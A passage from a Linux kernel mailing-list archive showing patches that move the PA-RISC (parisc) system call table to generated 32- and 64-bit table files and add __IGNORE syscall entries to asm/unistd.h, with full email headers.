-#define __NR_bpf		(__NR_Linux + 341)
-#define __NR_execveat		(__NR_Linux + 342)
-#define __NR_membarrier		(__NR_Linux + 343)
-#define __NR_userfaultfd	(__NR_Linux + 344)
-#define __NR_mlock2		(__NR_Linux + 345)
-#define __NR_copy_file_range	(__NR_Linux + 346)
-#define __NR_preadv2		(__NR_Linux + 347)
-#define __NR_pwritev2		(__NR_Linux + 348)
-#define __NR_statx		(__NR_Linux + 349)
-#define __NR_io_pgetevents	(__NR_Linux + 350)
-
-#ifdef __KERNEL__
-#define __NR_syscalls           351
+#define __NR_Linux           0
+#ifdef CONFIG_64BIT
+#include <asm/unistd_64.h>
+#else
+#include <asm/unistd_32.h>
 #endif
 
-#define __NR_Linux_syscalls     __NR_syscalls
+#define __NR_Linux_syscalls  __NR_syscalls
 
-#define LINUX_GATEWAY_ADDR      0x100
+#define LINUX_GATEWAY_ADDR   0x100
 
 #endif /* _UAPI_ASM_PARISC_UNISTD_H_ */
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f453997..2523b83 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -923,18 +923,10 @@ ENTRY(lws_table)
 END(lws_table)
 	/* End of lws table */
 
-	.align 8
-ENTRY(sys_call_table)
-	.export sys_call_table,data
-#include "syscall_table.S"
-END(sys_call_table)
-
+#include "syscall_table_32.S"
 #ifdef CONFIG_64BIT
-	.align 8
-ENTRY(sys_call_table64)
 #define SYSCALL_TABLE_64BIT
-#include "syscall_table.S"
-END(sys_call_table64)
+#include "syscall_table_64.S"
 #endif
 
 	/*
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
deleted file mode 100644
index fe3f2a4..0000000
--- a/arch/parisc/kernel/syscall_table.S
+++ /dev/null
@@ -1,459 +0,0 @@
-/*    System Call Table
- *
- *    Copyright (C) 1999-2004 Matthew Wilcox <willy at parisc-linux.org>
- *    Copyright (C) 2000-2001 John Marvin <jsm at parisc-linux.org>
- *    Copyright (C) 2000 Alan Modra <amodra at parisc-linux.org>
- *    Copyright (C) 2000-2003 Paul Bame <bame at parisc-linux.org>
- *    Copyright (C) 2000 Philipp Rumpf <prumpf with tux.org>
- *    Copyright (C) 2000 Michael Ang <mang with subcarrier.org>
- *    Copyright (C) 2000 David Huggins-Daines <dhd with pobox.org>
- *    Copyright (C) 2000 Grant Grundler <grundler at parisc-linux.org>
- *    Copyright (C) 2001 Richard Hirst <rhirst with parisc-linux.org>
- *    Copyright (C) 2001-2002 Ryan Bradetich <rbrad at parisc-linux.org>
- *    Copyright (C) 2001-2007 Helge Deller <deller at parisc-linux.org>
- *    Copyright (C) 2000-2001 Thomas Bogendoerfer <tsbogend at parisc-linux.org>
- *    Copyright (C) 2002 Randolph Chung <tausq with parisc-linux.org>
- *    Copyright (C) 2005-2006 Kyle McMartin <kyle at parisc-linux.org>
- *
- *    This program is free software; you can redistribute it and/or modify
- *    it under the terms of the GNU General Public License as published by
- *    the Free Software Foundation; either version 2 of the License, or
- *    (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program; if not, write to the Free Software
- *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- */
-
-#if defined(CONFIG_64BIT) && !defined(SYSCALL_TABLE_64BIT)
-/* Use ENTRY_SAME for 32-bit syscalls which are the same on wide and
- * narrow palinux.  Use ENTRY_DIFF for those where a 32-bit specific
- * implementation is required on wide palinux.  Use ENTRY_COMP where
- * the compatibility layer has a useful 32-bit implementation.
- */
-#define ENTRY_SAME(_name_) .dword sys_##_name_
-#define ENTRY_DIFF(_name_) .dword sys32_##_name_
-#define ENTRY_UHOH(_name_) .dword sys32_##unimplemented
-#define ENTRY_OURS(_name_) .dword parisc_##_name_
-#define ENTRY_COMP(_name_) .dword compat_sys_##_name_
-#elif defined(CONFIG_64BIT) && defined(SYSCALL_TABLE_64BIT)
-#define ENTRY_SAME(_name_) .dword sys_##_name_
-#define ENTRY_DIFF(_name_) .dword sys_##_name_
-#define ENTRY_UHOH(_name_) .dword sys_##_name_
-#define ENTRY_OURS(_name_) .dword sys_##_name_
-#define ENTRY_COMP(_name_) .dword sys_##_name_
-#else
-#define ENTRY_SAME(_name_) .word sys_##_name_
-#define ENTRY_DIFF(_name_) .word sys_##_name_
-#define ENTRY_UHOH(_name_) .word sys_##_name_
-#define ENTRY_OURS(_name_) .word parisc_##_name_
-#define ENTRY_COMP(_name_) .word sys_##_name_
-#endif
-
-90:	ENTRY_SAME(restart_syscall)	/* 0 */
-91:	ENTRY_SAME(exit)
-	ENTRY_SAME(fork_wrapper)
-	ENTRY_SAME(read)
-	ENTRY_SAME(write)
-	ENTRY_COMP(open)		/* 5 */
-	ENTRY_SAME(close)
-	ENTRY_SAME(waitpid)
-	ENTRY_SAME(creat)
-	ENTRY_SAME(link)
-	ENTRY_SAME(unlink)		/* 10 */
-	ENTRY_COMP(execve)
-	ENTRY_SAME(chdir)
-	/* See comments in kernel/time.c!!! Maybe we don't need this? */
-	ENTRY_COMP(time)
-	ENTRY_SAME(mknod)
-	ENTRY_SAME(chmod)		/* 15 */
-	ENTRY_SAME(lchown)
-	ENTRY_SAME(socket)
-	/* struct stat is MAYBE identical wide and narrow ?? */
-	ENTRY_COMP(newstat)
-	ENTRY_COMP(lseek)
-	ENTRY_SAME(getpid)		/* 20 */
-	/* the 'void * data' parameter may need re-packing in wide */
-	ENTRY_COMP(mount)
-	/* concerned about struct sockaddr in wide/narrow */
-	/* ---> I think sockaddr is OK unless the compiler packs the struct */
-	/*      differently to align the char array */
-	ENTRY_SAME(bind)
-	ENTRY_SAME(setuid)
-	ENTRY_SAME(getuid)
-	ENTRY_COMP(stime)		/* 25 */
-	ENTRY_COMP(ptrace)
-	ENTRY_SAME(alarm)
-	/* see stat comment */
-	ENTRY_COMP(newfstat)
-	ENTRY_SAME(pause)
-	/* struct utimbuf uses time_t which might vary */
-	ENTRY_COMP(utime)		/* 30 */
-	/* struct sockaddr... */
-	ENTRY_SAME(connect)
-	ENTRY_SAME(listen)
-	ENTRY_SAME(access)
-	ENTRY_SAME(nice)
-	/* struct sockaddr... */
-	ENTRY_SAME(accept)		/* 35 */
-	ENTRY_SAME(sync)
-	ENTRY_SAME(kill)
-	ENTRY_SAME(rename)
-	ENTRY_SAME(mkdir)
-	ENTRY_SAME(rmdir)		/* 40 */
-	ENTRY_SAME(dup)
-	ENTRY_SAME(pipe)
-	ENTRY_COMP(times)
-	/* struct sockaddr... */
-	ENTRY_SAME(getsockname)
-	/* it seems possible brk() could return a >4G pointer... */
-	ENTRY_SAME(brk)			/* 45 */
-	ENTRY_SAME(setgid)
-	ENTRY_SAME(getgid)
-	ENTRY_SAME(signal)
-	ENTRY_SAME(geteuid)
-	ENTRY_SAME(getegid)		/* 50 */
-	ENTRY_SAME(acct)
-	ENTRY_SAME(umount)
-	/* struct sockaddr... */
-	ENTRY_SAME(getpeername)
-	ENTRY_COMP(ioctl)
-	ENTRY_COMP(fcntl)		/* 55 */
-	ENTRY_SAME(socketpair)
-	ENTRY_SAME(setpgid)
-	ENTRY_SAME(send)
-	ENTRY_SAME(newuname)
-	ENTRY_SAME(umask)		/* 60 */
-	ENTRY_SAME(chroot)
-	ENTRY_COMP(ustat)
-	ENTRY_SAME(dup2)
-	ENTRY_SAME(getppid)
-	ENTRY_SAME(getpgrp)		/* 65 */
-	ENTRY_SAME(setsid)
-	ENTRY_SAME(pivot_root)
-	/* I don't like this */
-	ENTRY_UHOH(sgetmask)
-	ENTRY_UHOH(ssetmask)
-	ENTRY_SAME(setreuid)		/* 70 */
-	ENTRY_SAME(setregid)
-	ENTRY_SAME(mincore)
-	ENTRY_COMP(sigpending)
-	ENTRY_SAME(sethostname)
-	/* Following 3 have linux-common-code structs containing longs -( */
-	ENTRY_COMP(setrlimit)		/* 75 */
-	ENTRY_COMP(getrlimit)
-	ENTRY_COMP(getrusage)
-	/* struct timeval and timezone are maybe?? consistent wide and narrow */
-	ENTRY_COMP(gettimeofday)
-	ENTRY_COMP(settimeofday)
-	ENTRY_SAME(getgroups)		/* 80 */
-	ENTRY_SAME(setgroups)
-	/* struct socketaddr... */
-	ENTRY_SAME(sendto)
-	ENTRY_SAME(symlink)
-	/* see stat comment */
-	ENTRY_COMP(newlstat)
-	ENTRY_SAME(readlink)		/* 85 */
-	ENTRY_SAME(ni_syscall)	/* was uselib */
-	ENTRY_SAME(swapon)
-	ENTRY_SAME(reboot)
-	ENTRY_SAME(mmap2)
-	ENTRY_SAME(mmap)		/* 90 */
-	ENTRY_SAME(munmap)
-	ENTRY_COMP(truncate)
-	ENTRY_COMP(ftruncate)
-	ENTRY_SAME(fchmod)
-	ENTRY_SAME(fchown)		/* 95 */
-	ENTRY_SAME(getpriority)
-	ENTRY_SAME(setpriority)
-	ENTRY_SAME(recv)
-	ENTRY_COMP(statfs)
-	ENTRY_COMP(fstatfs)		/* 100 */
-	ENTRY_SAME(stat64)
-	ENTRY_SAME(ni_syscall)	/* was socketcall */
-	ENTRY_SAME(syslog)
-	/* even though manpage says struct timeval contains longs, ours has
-	 * time_t and suseconds_t -- both of which are safe wide/narrow */
-	ENTRY_COMP(setitimer)
-	ENTRY_COMP(getitimer)		/* 105 */
-	ENTRY_SAME(capget)
-	ENTRY_SAME(capset)
-	ENTRY_OURS(pread64)
-	ENTRY_OURS(pwrite64)
-	ENTRY_SAME(getcwd)		/* 110 */
-	ENTRY_SAME(vhangup)
-	ENTRY_SAME(fstat64)
-	ENTRY_SAME(vfork_wrapper)
-	/* struct rusage contains longs... */
-	ENTRY_COMP(wait4)
-	ENTRY_SAME(swapoff)		/* 115 */
-	ENTRY_COMP(sysinfo)
-	ENTRY_SAME(shutdown)
-	ENTRY_SAME(fsync)
-	ENTRY_SAME(madvise)
-	ENTRY_SAME(clone_wrapper)	/* 120 */
-	ENTRY_SAME(setdomainname)
-	ENTRY_COMP(sendfile)
-	/* struct sockaddr... */
-	ENTRY_SAME(recvfrom)
-	/* struct timex contains longs */
-	ENTRY_COMP(adjtimex)
-	ENTRY_SAME(mprotect)		/* 125 */
-	/* old_sigset_t forced to 32 bits.  Beware glibc sigset_t */
-	ENTRY_COMP(sigprocmask)
-	ENTRY_SAME(ni_syscall)	/* create_module */
-	ENTRY_SAME(init_module)
-	ENTRY_SAME(delete_module)
-	ENTRY_SAME(ni_syscall)		/* 130: get_kernel_syms */
-	/* time_t inside struct dqblk */
-	ENTRY_SAME(quotactl)
-	ENTRY_SAME(getpgid)
-	ENTRY_SAME(fchdir)
-	ENTRY_SAME(bdflush)
-	ENTRY_SAME(sysfs)		/* 135 */
-	ENTRY_OURS(personality)
-	ENTRY_SAME(ni_syscall)	/* for afs_syscall */
-	ENTRY_SAME(setfsuid)
-	ENTRY_SAME(setfsgid)
-	/* I think this might work */
-	ENTRY_SAME(llseek)		/* 140 */
-	ENTRY_COMP(getdents)
-	/* it is POSSIBLE that select will be OK because even though fd_set
-	 * contains longs, the macros and sizes are clever. */
-	ENTRY_COMP(select)
-	ENTRY_SAME(flock)
-	ENTRY_SAME(msync)
-	/* struct iovec contains pointers */
-	ENTRY_COMP(readv)		/* 145 */
-	ENTRY_COMP(writev)
-	ENTRY_SAME(getsid)
-	ENTRY_SAME(fdatasync)
-	/* struct __sysctl_args is a mess */
-	ENTRY_COMP(sysctl)
-	ENTRY_SAME(mlock)		/* 150 */
-	ENTRY_SAME(munlock)
-	ENTRY_SAME(mlockall)
-	ENTRY_SAME(munlockall)
-	/* struct sched_param is ok for now */
-	ENTRY_SAME(sched_setparam)
-	ENTRY_SAME(sched_getparam)	/* 155 */
-	ENTRY_SAME(sched_setscheduler)
-	ENTRY_SAME(sched_getscheduler)
-	ENTRY_SAME(sched_yield)
-	ENTRY_SAME(sched_get_priority_max)
-	ENTRY_SAME(sched_get_priority_min)	/* 160 */
-	ENTRY_COMP(sched_rr_get_interval)
-	ENTRY_COMP(nanosleep)
-	ENTRY_SAME(mremap)
-	ENTRY_SAME(setresuid)
-	ENTRY_SAME(getresuid)		/* 165 */
-	ENTRY_COMP(sigaltstack)
-	ENTRY_SAME(ni_syscall)		/* query_module */
-	ENTRY_SAME(poll)
-	/* structs contain pointers and an in_addr... */
-	ENTRY_SAME(ni_syscall)		/* was nfsservctl */
-	ENTRY_SAME(setresgid)		/* 170 */
-	ENTRY_SAME(getresgid)
-	ENTRY_SAME(prctl)
-	/* signals need a careful review */
-	ENTRY_SAME(rt_sigreturn_wrapper)
-	ENTRY_COMP(rt_sigaction)
-	ENTRY_COMP(rt_sigprocmask)	/* 175 */
-	ENTRY_COMP(rt_sigpending)
-	ENTRY_COMP(rt_sigtimedwait)
-	/* even though the struct siginfo_t is different, it appears like
-	 * all the paths use values which should be same wide and narrow.
-	 * Also the struct is padded to 128 bytes which means we don't have
-	 * to worry about faulting trying to copy in a larger 64-bit
-	 * struct from a 32-bit user-space app.
-	 */
-	ENTRY_COMP(rt_sigqueueinfo)
-	ENTRY_COMP(rt_sigsuspend)
-	ENTRY_SAME(chown)		/* 180 */
-	/* setsockopt() used by iptables: SO_SET_REPLACE/SO_SET_ADD_COUNTERS */
-	ENTRY_COMP(setsockopt)
-	ENTRY_COMP(getsockopt)
-	ENTRY_COMP(sendmsg)
-	ENTRY_COMP(recvmsg)
-	ENTRY_SAME(semop)		/* 185 */
-	ENTRY_SAME(semget)
-	ENTRY_COMP(semctl)
-	ENTRY_COMP(msgsnd)
-	ENTRY_COMP(msgrcv)
-	ENTRY_SAME(msgget)		/* 190 */
-	ENTRY_COMP(msgctl)
-	ENTRY_COMP(shmat)
-	ENTRY_SAME(shmdt)
-	ENTRY_SAME(shmget)
-	ENTRY_COMP(shmctl)		/* 195 */
-	ENTRY_SAME(ni_syscall)		/* streams1 */
-	ENTRY_SAME(ni_syscall)		/* streams2 */
-	ENTRY_SAME(lstat64)
-	ENTRY_OURS(truncate64)
-	ENTRY_OURS(ftruncate64)		/* 200 */
-	ENTRY_SAME(getdents64)
-	ENTRY_COMP(fcntl64)
-	ENTRY_SAME(ni_syscall)	/* attrctl -- dead */
-	ENTRY_SAME(ni_syscall)	/* acl_get -- dead */
-	ENTRY_SAME(ni_syscall)		/* 205 (acl_set -- dead) */
-	ENTRY_SAME(gettid)
-	ENTRY_OURS(readahead)
-	ENTRY_SAME(tkill)
-	ENTRY_COMP(sendfile64)
-	ENTRY_COMP(futex)		/* 210 */
-	ENTRY_COMP(sched_setaffinity)
-	ENTRY_COMP(sched_getaffinity)
-	ENTRY_SAME(ni_syscall)	/* set_thread_area */
-	ENTRY_SAME(ni_syscall)	/* get_thread_area */
-	ENTRY_COMP(io_setup)		/* 215 */
-	ENTRY_SAME(io_destroy)
-	ENTRY_COMP(io_getevents)
-	ENTRY_COMP(io_submit)
-	ENTRY_SAME(io_cancel)
-	ENTRY_SAME(ni_syscall)		/* 220: was alloc_hugepages */
-	ENTRY_SAME(ni_syscall)		/* was free_hugepages */
-	ENTRY_SAME(exit_group)
-	ENTRY_COMP(lookup_dcookie)
-	ENTRY_SAME(epoll_create)
-	ENTRY_SAME(epoll_ctl)		/* 225 */
-	ENTRY_SAME(epoll_wait)
- 	ENTRY_SAME(remap_file_pages)
-	ENTRY_COMP(semtimedop)
-	ENTRY_COMP(mq_open)
-	ENTRY_SAME(mq_unlink)		/* 230 */
-	ENTRY_COMP(mq_timedsend)
-	ENTRY_COMP(mq_timedreceive)
-	ENTRY_COMP(mq_notify)
-	ENTRY_COMP(mq_getsetattr)
-	ENTRY_COMP(waitid)		/* 235 */
-	ENTRY_OURS(fadvise64_64)
-	ENTRY_SAME(set_tid_address)
-	ENTRY_SAME(setxattr)
-	ENTRY_SAME(lsetxattr)
-	ENTRY_SAME(fsetxattr)		/* 240 */
-	ENTRY_SAME(getxattr)
-	ENTRY_SAME(lgetxattr)
-	ENTRY_SAME(fgetxattr)
-	ENTRY_SAME(listxattr)
-	ENTRY_SAME(llistxattr)		/* 245 */
-	ENTRY_SAME(flistxattr)
-	ENTRY_SAME(removexattr)
-	ENTRY_SAME(lremovexattr)
-	ENTRY_SAME(fremovexattr)
-	ENTRY_COMP(timer_create)	/* 250 */
-	ENTRY_COMP(timer_settime)
-	ENTRY_COMP(timer_gettime)
-	ENTRY_SAME(timer_getoverrun)
-	ENTRY_SAME(timer_delete)
-	ENTRY_COMP(clock_settime)	/* 255 */
-	ENTRY_COMP(clock_gettime)
-	ENTRY_COMP(clock_getres)
-	ENTRY_COMP(clock_nanosleep)
-	ENTRY_SAME(tgkill)
-	ENTRY_COMP(mbind)		/* 260 */
-	ENTRY_COMP(get_mempolicy)
-	ENTRY_COMP(set_mempolicy)
-	ENTRY_SAME(ni_syscall)	/* 263: reserved for vserver */
-	ENTRY_SAME(add_key)
-	ENTRY_SAME(request_key)		/* 265 */
-	ENTRY_COMP(keyctl)
-	ENTRY_SAME(ioprio_set)
-	ENTRY_SAME(ioprio_get)
-	ENTRY_SAME(inotify_init)
-	ENTRY_SAME(inotify_add_watch)	/* 270 */
-	ENTRY_SAME(inotify_rm_watch)
-	ENTRY_SAME(migrate_pages)
-	ENTRY_COMP(pselect6)
-	ENTRY_COMP(ppoll)
-	ENTRY_COMP(openat)		/* 275 */
-	ENTRY_SAME(mkdirat)
-	ENTRY_SAME(mknodat)
-	ENTRY_SAME(fchownat)
-	ENTRY_COMP(futimesat)
-	ENTRY_SAME(fstatat64)		/* 280 */
-	ENTRY_SAME(unlinkat)
-	ENTRY_SAME(renameat)
-	ENTRY_SAME(linkat)
-	ENTRY_SAME(symlinkat)
-	ENTRY_SAME(readlinkat)		/* 285 */
-	ENTRY_SAME(fchmodat)
-	ENTRY_SAME(faccessat)
-	ENTRY_SAME(unshare)
-	ENTRY_COMP(set_robust_list)
-	ENTRY_COMP(get_robust_list)	/* 290 */
-	ENTRY_SAME(splice)
-	ENTRY_OURS(sync_file_range)
-	ENTRY_SAME(tee)
-	ENTRY_COMP(vmsplice)
-	ENTRY_COMP(move_pages)		/* 295 */
-	ENTRY_SAME(getcpu)
-	ENTRY_COMP(epoll_pwait)
-	ENTRY_COMP(statfs64)
-	ENTRY_COMP(fstatfs64)
-	ENTRY_COMP(kexec_load)		/* 300 */
-	ENTRY_COMP(utimensat)
-	ENTRY_COMP(signalfd)
-	ENTRY_SAME(ni_syscall)		/* was timerfd */
-	ENTRY_SAME(eventfd)
-	ENTRY_OURS(fallocate)		/* 305 */
-	ENTRY_SAME(timerfd_create)
-	ENTRY_COMP(timerfd_settime)
-	ENTRY_COMP(timerfd_gettime)
-	ENTRY_COMP(signalfd4)
-	ENTRY_SAME(eventfd2)		/* 310 */
-	ENTRY_SAME(epoll_create1)
-	ENTRY_SAME(dup3)
-	ENTRY_SAME(pipe2)
-	ENTRY_SAME(inotify_init1)
-	ENTRY_COMP(preadv)		/* 315 */
-	ENTRY_COMP(pwritev)
-	ENTRY_COMP(rt_tgsigqueueinfo)
-	ENTRY_SAME(perf_event_open)
-	ENTRY_COMP(recvmmsg)
-	ENTRY_SAME(accept4)		/* 320 */
-	ENTRY_SAME(prlimit64)
-	ENTRY_SAME(fanotify_init)
-	ENTRY_DIFF(fanotify_mark)
-	ENTRY_COMP(clock_adjtime)
-	ENTRY_SAME(name_to_handle_at)	/* 325 */
-	ENTRY_COMP(open_by_handle_at)
-	ENTRY_SAME(syncfs)
-	ENTRY_SAME(setns)
-	ENTRY_COMP(sendmmsg)
-	ENTRY_COMP(process_vm_readv)	/* 330 */
-	ENTRY_COMP(process_vm_writev)
-	ENTRY_SAME(kcmp)
-	ENTRY_SAME(finit_module)
-	ENTRY_SAME(sched_setattr)
-	ENTRY_SAME(sched_getattr)	/* 335 */
-	ENTRY_COMP(utimes)
-	ENTRY_SAME(renameat2)
-	ENTRY_SAME(seccomp)
-	ENTRY_SAME(getrandom)
-	ENTRY_SAME(memfd_create)	/* 340 */
-	ENTRY_SAME(bpf)
-	ENTRY_COMP(execveat)
-	ENTRY_SAME(membarrier)
-	ENTRY_SAME(userfaultfd)
-	ENTRY_SAME(mlock2)		/* 345 */
-	ENTRY_SAME(copy_file_range)
-	ENTRY_COMP(preadv2)
-	ENTRY_COMP(pwritev2)
-	ENTRY_SAME(statx)
-	ENTRY_COMP(io_pgetevents)	/* 350 */
-
-
-.ifne (. - 90b) - (__NR_Linux_syscalls * (91b - 90b))
-.error "size of syscall table does not fit value of __NR_Linux_syscalls"
-.endif
-
-#undef ENTRY_SAME
-#undef ENTRY_DIFF
-#undef ENTRY_UHOH
-#undef ENTRY_COMP
-#undef ENTRY_OURS
diff --git a/arch/parisc/kernel/syscall_table_32.S b/arch/parisc/kernel/syscall_table_32.S
new file mode 100644
index 0000000..eec2c9a
--- /dev/null
+++ b/arch/parisc/kernel/syscall_table_32.S
@@ -0,0 +1,13 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#include <linux/linkage.h>
+
+	.align 8
+ENTRY(sys_call_table)
+	.export sys_call_table,data
+#if !defined(CONFIG_64BIT)
+#define __SYSCALL(nr, entry, nargs) .word entry
+#include <asm/syscall_table_32.h>
+#endif
+#undef __SYSCALL
+END(sys_call_table)
+
diff --git a/arch/parisc/kernel/syscall_table_64.S b/arch/parisc/kernel/syscall_table_64.S
new file mode 100644
index 0000000..af915688
--- /dev/null
+++ b/arch/parisc/kernel/syscall_table_64.S
@@ -0,0 +1,20 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#include <linux/linkage.h>
+
+	.align 8
+ENTRY(sys_call_table64)
+#if defined(CONFIG_64BIT) && defined(SYSCALL_TABLE_64BIT)
+#define __SYSCALL(nr, entry, nargs) .dword entry
+#include <asm/syscall_table_64.h>
+#endif
+#undef __SYSCALL
+END(sys_call_table64)
+
+	.align 8
+ENTRY(sys_call_tablec32)
+#if defined(CONFIG_64BIT) && !defined(SYSCALL_TABLE_64BIT)
+#define __SYSCALL(nr, entry, nargs) .dword entry
+#include <asm/syscall_table_c32.h>
+#endif
+#undef __SYSCALL
+END(sys_call_tablec32)
-- 
1.9.1



From - Thu Nov 08 21:42:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 5/5] parisc: add __IGNORE* entries in asm/unistd.h
Date: Thu, 27 Sep 2018 19:54:27 +0530
Lines: 28
Approved: news@gmane.org
Message-ID: <1538058267-3765-6-git-send-email-firoz.khan@linaro.org>
References: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1538058208 31665 195.159.176.226 (27 Sep 2018 14:23:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 14:23:28 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 16:23:23 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5XCM-000890-OW
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 16:23:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728264AbeI0UoC (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 16:44:02 -0400
Original-Received: from mail-pf1-f194.google.com ([209.85.210.194]:45066 "EHLO
        mail-pf1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727280AbeI0UoB (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 16:44:01 -0400
Original-Received: by mail-pf1-f194.google.com with SMTP id a23-v6so2021456pfi.12
        for <linux-kernel@vger.kernel.org>; Thu, 27 Sep 2018 07:25:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=7063lwYrgYG2z+eMzXz0Gmdpv5PtmN+NtlFSGmDtuMc=;
        b=DmEWTtJ3/AV39KYsmV2tEa3GK2GlOv4arRMn+CHzz99VR+QZc2I8T97iBLDtR2GBuX
         TBx/+7mv2YMUpewBb/ME0ZZLoZiq76c+VoSuHw1DC5J7hLaYL6xKqrjQNjYs4rAiLEi/
         WnqEJiYdFg3mB7wg4RP65W+DH0TqtF62D/bOU=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=7063lwYrgYG2z+eMzXz0Gmdpv5PtmN+NtlFSGmDtuMc=;
        b=YPYQwUtqV12HJ+hhlVtnY6txopRKdKdU6IZTyQP0O5eaTimW6y+a47L+XT8sQC0J83
         C1QXpdPrtzLcSef7O6bnuK6xyNTIQD24v2JQ3l9edR0evzx4ek6l6eTZIm8isuY/EcRn
         /MvyMopf+6RG+rCzenZNmH02UV8jNSyCa1oIKjNoWYMj2uuqtU8GwckIxKJT4X1DUdC9
         N5TNLpKxnL5eoCEz9n/k4rNYeC/o8GgjzOmcsab5sqj4EKP3WU1z3Xoe06Cd5lQzhCsS
         v8EEyHTE+XsOvjPf8Li5xx32RA+E0QO1OX/Q7uD04mhZmJynPJeI7SEdbatLT5zhaR49
         Ohjg==
X-Gm-Message-State: ABuFfoj1hJMYmMAUVpMAQ+FdpDttRVcar7Zj45gU21P901iLuGjH/797
        Nlu+wFMPAwlVMhu1eaZ+YyHGBg==
X-Google-Smtp-Source: ACcGV60hzAovtMFr9sbmK3f2L74IHb0SRD09fSSeTGTdRM7q9qezoNCGJRvcQpSq5cxvC+iUkbXAPA==
X-Received: by 2002:a65:4289:: with SMTP id j9-v6mr10672342pgp.284.1538058330071;
        Thu, 27 Sep 2018 07:25:30 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([106.51.105.186])
        by smtp.gmail.com with ESMTPSA id f81-v6sm9717421pfh.46.2018.09.27.07.25.25
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 27 Sep 2018 07:25:29 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883758 gmane.linux.ports.parisc:29038 gmane.linux.kernel.year-2038:3419 gmane.linux.kernel.cross-arch:47006
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883758>

Add __IGNORE* entries for nfsservctl, io_pgetevents and rseq
in the file asm/unistd.h as it is correct to keep __IGNORE*
entry in non uapi header asm/unistd.h while uapi/asm/unistd.h
must hold information only useful for user space applications.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/include/asm/unistd.h | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 93fd9f6..9294e10 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -13,6 +13,9 @@
 #define __IGNORE_pkey_mprotect
 #define __IGNORE_pkey_alloc
 #define __IGNORE_pkey_free
+#define __IGNORE_nfsservctl
+#define __IGNORE_io_pgetevents
+#define __IGNORE_rseq
 
 #ifndef ASM_LINE_SEP
 # define ASM_LINE_SEP ;
-- 
1.9.1



From - Thu Nov 08 21:42:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 0/7]  Remove errors building drivers/DRIVERNAME
Date: Thu, 27 Sep 2018 22:45:36 -0300
Lines: 51
Approved: news@gmane.org
Message-ID: <20180928014536.GA10369@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538099033 1859 195.159.176.226 (28 Sep 2018 01:43:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
